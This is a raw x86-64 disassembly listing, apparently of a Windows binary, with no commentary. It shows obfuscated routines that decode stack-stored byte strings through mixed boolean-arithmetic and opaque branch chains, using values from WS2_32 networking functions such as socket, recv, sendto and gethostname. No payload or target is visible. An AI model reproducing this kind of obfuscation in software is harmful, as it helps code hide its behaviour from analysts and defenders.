movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x29
add rbx, r8
jmp 0x14004c5a1
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0xd
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004bb73
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x43
movzx r10d, r11b
sub r10b, 0x2f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x49
add r10b, r9b
movzx eax, r10b
mov byte [rbp + r11 + 0xb0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r11 + 0xb0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004bb73
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x51
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x14004bb73
dec r10b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 7
jmp 0x14004bb70
sub r10b, 0x67
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2f
jmp 0x14004bb60
lea rdx, [rbp + 0x1721cf4]
jmp 0x14004c6be
lea rdx, [rbp + 0x119d8a7]
jmp 0x14004c6be
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x228]
call fcn.140043f70
nop
mov dword [rbp + 0x20], 0x562524ce
mov dword [rbp + 0x24], 0x5a9a4d51
mov word [rbp + 0x28], 0x5861
mov byte [rbp + 0x2a], 0xec
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b], xmm0
mov dword [rbp + 0x3b], eax
movabs rsi, 0x6159ebf53f7d0ebd
movabs r12, 0xa97573b4bc6b672b
movabs r15, 0xe6c19bca3d7149b1
movabs r14, 0x240dc3dfbe772c37
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1f
jae 0x14004d1cb
movzx r10d, byte [rbp + r11 + 0x20]
mov edx, r10d
cmp rbx, r11
ja 0x14004d1c2
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004c772
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x2b
jmp 0x14004c7ac
je 0x14004d15a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004d109
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004d0c8
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004d0a7
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14004d063
movzx r9d, r11b
cmp r8, r11
ja 0x14004d1b9
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x14004c7da
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x14004c810
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004d04b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004d028
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004cfd5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004cfbb
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14004cd85
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004cd6a
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14004cd41
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004cd1e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14004cd03
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004cce3
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004ccc6
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004ccab
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14004cc8b
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004cc5f
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14004c820
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x64]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14004d19d
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14004d180
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14004ca0d
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14004c9f2
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14004c9d7
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004cc10
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004cbc4
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14004cb8a
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14004cb65
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14004c820
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x42]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14004cb36
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004cb16
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14004caf7
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14004cad7
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14004cab7
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004ca98
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14004ca72
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14004ca49
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14004ca2a
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14004c820
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x40]
jmp 0x14004c820
lea ecx, [r9 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
jmp 0x14004c810
lea ecx, [r9 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 3
jmp 0x14004c7b0
sub r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x53
jmp 0x14004c746
lea edx, [r9 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x14004d07d
sub r9b, 0x72
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14004c733
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14004c733
lea edx, [r9 - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x36
add dil, dl
jmp 0x14004cfeb
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004d00c
sub r9b, 0x5a
movzx eax, r10b
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004d00f
lea edx, [r9 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x14004d0de
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004d11b
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c733
sub r9b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4f
mov byte [rbp + r11 + 0x20], dil
inc r11
jmp 0x14004c733
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
cmp r8, 5
jb 0x14004cb7d
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x44]
jmp 0x14004d07d
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
cmp rbx, 6
jae 0x14004cf84
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14004cefb
lea edx, [r9 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004cba0
lea ecx, [r9 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x51
lea rax, [rbx + r8]
cmp rax, 8
je 0x14004cf9f
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14004ce35
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
jmp 0x14004cbda
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c733
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004d11b
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x14004d0de
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x14004d00f
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004d00c
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x14004cfeb
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
dec r11
inc r11
jmp 0x14004c733
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14004c733
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x14004d07d
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14004cdac
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
jmp 0x14004cc26
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004cde1
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c733
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004ce09
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d0de
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004cc26
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004cfeb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ce59
lea ecx, [r9 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
jmp 0x14004d07d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004ce85
add r9b, 0x77
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x41
dec r11
inc r11
jmp 0x14004c733
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004ceab
add r9b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x13
jmp 0x14004d00c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004ced1
sub r9b, 0x1b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x43
jmp 0x14004d00f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004cbda
sub r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x14004d11b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004cf30
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c733
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004cf58
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d0de
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004cba0
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d07d
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
add dil, r10b
jmp 0x14004cfeb
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004d0de
add r9b, 0x5d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x75
jmp 0x14004d00f
lea ecx, [r9 + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x21
sub r9b, 0x7b
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x5d
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x20], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004c733
sub r9b, 0x11
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x77
dec r11
inc r11
jmp 0x14004c733
lea ecx, [r9 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x23
jmp 0x14004d07d
movzx r9d, r11b
lea ecx, [r9 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
add r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x4d
add r10b, r9b
mov byte [rbp + r11 + 0x20], r10b
inc r8
dec r11
inc r11
jmp 0x14004c733
lea ecx, [r11 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7b
dec r11
inc r11
jmp 0x14004c733
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x2d
movzx r9d, r11b
dec r9b
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 7
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x20], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14004d11b
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x29
lea ecx, [r11 - 0x44]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x24
add r10b, cl
mov byte [rbp + r11 + 0x20], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c733
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x7f
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004c733
add r9b, 0x31
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x57
jmp 0x14004c730
sub r9b, 0x49
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
dec dil
jmp 0x14004c720
lea rdx, [rbp + 0x145e71c]
jmp 0x14004d1cf
lea rdx, [rbp + 0x82f5d9]
jmp 0x14004d1cf
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x208]
call fcn.140043f70
nop
mov dword [rbp - 0x20], 0xa696ae8d
mov dword [rbp - 0x1c], 0x926890a8
mov word [rbp - 0x18], 0x8ca0
mov byte [rbp - 0x16], 0x2a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x15], xmm0
mov dword [rbp - 5], eax
mov byte [rbp - 1], al
movabs r14, 0xc11e7549846a2188
movabs r12, 0x47d535029ee6eab8
movabs r15, 0x435b5fdc8d3e6498
movzx edi, byte [rsp + 0x20]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x14004dc4e
movzx r10d, byte [rbp + r11 - 0x20]
mov esi, r10d
cmp rbx, r11
ja 0x14004dc45
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004d282
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x48
jmp 0x14004d2af
je 0x14004dbd6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004db51
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004db1b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004dade
movzx r9d, r11b
cmp r8, r11
ja 0x14004dc3c
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14004d2dd
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x14004d311
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004da9a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004da71
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004da51
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004da36
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14004d7be
nop
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004d7a3
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14004d77d
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14004d757
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14004d872
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14004d73a
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14004d71d
lea rcx, [r8 + 0x10]
cmp rbx, rcx
je 0x14004d6fe
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14004d6cf
mov rbx, rcx
lea r8, [rcx + 0xa]
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x14004dc1f
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x14004dbff
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x14004d4ce
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x14004d4b3
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14004d494
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x14004d68a
lea rcx, [r8 + 0x400]
cmp rbx, rcx
jb 0x14004d616
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14004d5ee
mov rbx, rcx
lea r8, [rcx + 0x3e8]
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14004d5c2
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14004d5a2
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x14004d587
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x14004d567
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14004d552
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14004d537
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x14004d511
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14004d4eb
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14004d320
lea rbx, [r8 + 3]
lea r8, [rbx + 0x3e8]
jmp 0x14004d320
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d311
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14004d2b3
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14004d256
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x14004d243
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14004d243
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14004daf8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14004db35
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004db38
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14004db6a
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004db95
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004d243
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 - 0x20], dil
inc r11
jmp 0x14004d243
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x80
jae 0x14004da02
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14004d957
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x2a
jb 0x14004d609
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14004dab4
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
lea rax, [rbx + r8]
cmp rax, 8
je 0x14004da20
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x14004d88d
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14004d625
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004d243
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004db6a
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14004db38
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14004db32
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14004d243
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14004d243
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14004dab4
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14004d7e6
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d6a0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004d81b
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004d243
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004d83f
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14004db6a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004d865
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x14004db38
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004d6a0
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14004daf8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004d8b1
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14004dab4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004d8dd
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
dec r11
inc r11
jmp 0x14004d243
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004d905
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004daf8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004d92b
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14004db35
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004d630
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004db6a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004d98c
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 - 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14004d243
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004d9b0
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14004db6a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004d9d6
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14004db35
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004d664
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004daf8
